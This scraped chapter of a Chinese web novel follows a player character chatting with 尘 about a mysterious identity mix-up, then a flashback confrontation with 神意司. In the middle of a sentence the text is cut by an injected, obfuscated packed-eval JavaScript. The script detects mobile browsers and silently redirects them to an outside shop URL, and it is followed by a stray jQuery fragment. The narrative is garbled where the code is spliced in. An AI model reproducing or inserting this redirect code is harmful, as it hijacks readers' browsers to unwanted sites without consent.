178.最恶心的存在

作品:《绝赞玩家!

    堕落堂那边有太多疑问没有解决,无数的线索密密麻麻摆在眼前,让玩家有些目眩神迷。


    玩家本人omega的身份也着实不能去堕落堂鬼混,那边的信息素气味太浓,怕把自己发琴期激发了。


    所以调查堕落堂的事情,也只能教给beta和alpha了。


    两人当然欣然应允。


    堕落堂这边就暂且这么安排着吧……


    玩家站于浓夜之中,抬起头,望向漫天星空与圆月。


    月明星稀这样的定则在游戏世界仿佛并不成立,星星照样明亮不已,像是一眨一眨的眼睛。


    也像是谁人的注视。


    生铭塔那边也很久没联系了,但同样是那样诡异的直觉,告诉玩家不要全然信任生铭塔,不要直接去联系生铭塔。


    艾易说类似的直觉都是因为自己用了“时空”概念……


    到底是什么意思呢……


    玩家一身player的打扮,走在无人的街道,轻松越过厚重的城门,进入了属于alpha与omega的内城区。


    荒谬论那边,斯维特跟吃错药似的疯狂造谣玩家,把玩家喷成了十恶不赦的亵神者。


    玩家摸了摸鼻子——没摸到,他戴面具了来着。


    其实某种意义上确实,他每天对gamer也确实没多尊敬。


    而现在……玩家正在前往九崇殿。


    原因无他,玩家需要睚眦的帮助。


    alpha时期,在登上游车之前,玩家就已经把说是要“睡会儿”的睚眦大爷给取下来,归还给了赑屃。


    避免了睚眦大爷被当做普通装饰品给他陪葬的恐怖未来。


    嗯……也不知道他尸体葬哪了。


    玩家兴致缺缺地想着。


    半月刃的身份代表性实在是太强了,对应的见过睚眦的npc就没有几个,除了熟人能靠睚眦认出玩家以外,其他人应该不会把player和生铭塔○康宁建立联系。


    新号就要新玩。


    这么想着,玩家顺手打开玩家面板,然后点开了某人的聊天框:


    【康宁:帮个忙,帮我保护一下我的人,佑曦和繁星去堕落堂了】


    对面回的很快。


    【尘:?】


    紧接着是一条语音,语气之中有着一种说不出的怪异。


    【你的人?】


    【敬康宁,你是把什么属性给死出来了吗?】


    啊?什么属性?


    还有,怎么直接叫人全名啊。


    敬康宁十分尴尬,尴尬着,尴尬着,逐渐品出来味了。


    他忘了尘之前还看到他和繁星……


    玩家面具下表情扭曲了一瞬。


    哦创世神在上……


    我们瑞瑟普什区人一般不喊创世神,除非痛及心扉。


    【康宁:那是个误会】


    对方的语音如约而至,声音之中居然有一种说不出的……遗憾?


    【误会?我还以为你真成A同了】


    敬康宁:……


    【康宁:我现在omega谢谢】


    在发完这条消息之后,对面居然非常诡异地沉默了许久,新的消息刷半天都没刷出。


    玩家:?


    就在玩家即将关闭电子屏的时候,对方的语音又来了:


    【死成omega了?】


    这句话还伴随着十分明显的杂音,仔细听能听出来是锁链哗哗的声响。


    敬康宁无语。


    老提他死干什么?


    他现在不活着吗?


    【康宁:是,SSS级呢,现在带着你和你的信息素滚远点】


    他可不想跟好兄弟抱一下就直接诱发发琴期。


    这种设定的受众真是老吃家了,日子过得很好了……


    gamer,你就是去什么奇怪的圈子里进修了吧!


    【这就是你躲着我的理由?】


    是错觉么……尘的语气好像弱化了一点……而且每条语音都有很明显的锁链杂音。


    敬康宁:……


    不,其实是在不打副本的时候都想不起来你。


    但玩家是不可能这么说的。


    【康宁:确实】


    不过自己的尸体应该在尘手上吧,他居然就这么快速地接受自己变性复活的事实了?


    这也太怪异了。


    【康宁:你没什么想问的吗?】


    死你面前的好兄弟变成娇软萌o了,惊不惊喜,意不意外?


    对面又是一阵沉默,半天没发来消息。


    好不容易等来下一条消息,居然是文字而非语音:


    【尘:没什么可问的,我知道你不会死】


    也是。


    敬康宁寻思着,这位可是冒充npc的顶峰概念者,生铭君时代的人,甚至还是杀了生铭君的家伙,怎么可能觉得自己真死在游戏里了?


    说起来,有件事情他的确很好奇。


    【康宁:你概念化是什么?】


    据说只有生铭君才知道的……尘的概念化。


    对面回的很快:


    【尘:?】


    还在装。


    【康宁:别演,你跟赑屃一桌的,别以为我不知道】


    这小子在自己面前装什么,底裤都被看光了。


    玩家无语。


    两人的聊天框中冒出了一条语音:


    【演什么?】


    语气平静又困惑,周围锁链的杂音小了许多,感觉对方情绪已经平复了些许。


    敬康宁盯着这则语音,逐渐皱起了眉头,停下了步伐,手指在电子屏上飞速移动:


    【康宁:我们之前不是摊牌了吗?当时你在荒谬论,我问了你征瑛擂台赛的事情】


    堕落堂,黄金区。


    漆黑的房间之中,白金的眼眸望向电子屏中的聊天内容,以及他给对方清晰的备注:


    敬康宁。


    他从“康宁”两个字猜出这是“生铭塔○康宁”的本名。


    但是什么时候……他改的备注?他怎么知道的对方本名?


    带着如此的困惑,他对敬康宁说道:


    【你也说什么荒谬论,但我从没去过荒谬论】


    敬康宁一瞬怔愣。


    电子屏上的语音仍在浅浅地跳动,对方的声音不似虚假,只有真实的疑惑。


    这份真实的疑惑仿佛一盆冷水,浇灌到了玩家全身,冰冷的感觉贯彻肺腑,令他有些措手不及。


    他缓缓地,在电子屏上打下一排字,犹豫半晌,又尽数删除,最终选择询问:


    【康宁:谁还说过荒谬论?】


    会是谁?


    玩家攥紧了拳。


    除了玩家以外还有谁知道尘去了荒谬论?当时到底发生了什么?为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366157|175773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么当时尘的情绪是……


    释然?


    而尘的回答也十分迅速:


    【神意司】


    ……


    ……


    ……


    “你说……什么?”


    黄金冕不可思议地回头,像是在看一个疯子说话。


    荒谬论○神意司无力地靠在墙壁上,鲜血自被洞穿的肩胛流出,顺着肌肤的沟壑浸入软质的地面,远看如同堕落的神父,纯粹又罪恶。


    这样的人,正悲悯地流泪。


    “你死了,你死在了荒谬论。”


    他口中喃喃,空洞的眼微微抬起,那仿佛只有眼白的眼里,居然透露出些许的怒意。


    但更多的竟然是……嫉妒。


    “为什么你放弃了自己的生命?多么宝贵的东西,我求之不得的东西,你就轻而易举地放弃了?”


    他支撑着自己站起身来,银发混着泪水与血污,白袍染上自身的鲜红,他跌跌撞撞地向前,步步靠近黄金冕。


    那人居高临下地看着花桥狼狈的姿态,眯着白金色的眼眸,金色锁链毫不犹豫地再一次攻向他。


    哗啦啦。


    嘭。


    锁链被挡住。


    而挡下锁链的……居然是一本红皮革的书籍。


    《神谕》。


    荒谬论○神意司拿着神谕挡在面前,余下半张沾满泪与血的脸面对黄金冕,他的心脏的痛苦如此真实,以至于连黄金冕都有一瞬间相信了对方。


    神意司真的在悲悯。


    “为什么?什么让你选择了自杀?你明明是为数不多的活人……”


    荒谬论○神意司心脏震颤着向前,将那已经无意攻击的锁链挥开,不可思议地翻开《神谕》——


    里面空无一字。


    在尘的眼中。


    但神意司显然看到了什么,他原本无法理解的,震撼的面容,最终逐渐归于死寂,像是强硬地将所有海浪消除,只留下表面的平静。


    他跌坐在地,被鲜血染红的银发垂落在地,仿佛堕落入地底的银河。


    荒谬论○神意司的双臂无力地支撑着自己,银发挡住他的面容,红皮革书被随意地扔在了一边,仿佛无用的垃圾。


    他的嗓子里挤出沙哑的话语:


    “为了不对他的概念化施加影响……”


    “为了不让他成为生铭君……”


    “为了让他成为自己……”


    他念出他在《神谕》之中读到的话语,抬起头,那双染上血丝的白眸直勾勾地盯着那高高在上的傲慢者。


    “尘,你觉得你很伟大么?”


    黄金冕鬼使神差地,将面前这个恶心之人的话听了下去,他没有用锁链再去攻击面前之人,只是半垂着白金的眼眸,感受着心脏传递的感知。


    他抓住了胸口的衣襟一瞬,随后松开,转过身,没多施舍眼神,向着门外走去。


    “你在自我感动什么?”


    “为了不让‘生命’复活而放弃生命,成为我们这样无生命的npc……”


    荒谬论○神意司沙哑的声音从身后传来,那向来不带情绪的声音,此时此刻居然也染上了愤怒与悲悯,像是淬了毒的箭矢,毫不留情地攻向前方。


    他望着那人拖着无数锁链离去的背影,像是看到拖着无数地狱之手艰难前行的愚蠢者:


    “你才是……最恶心的存在。”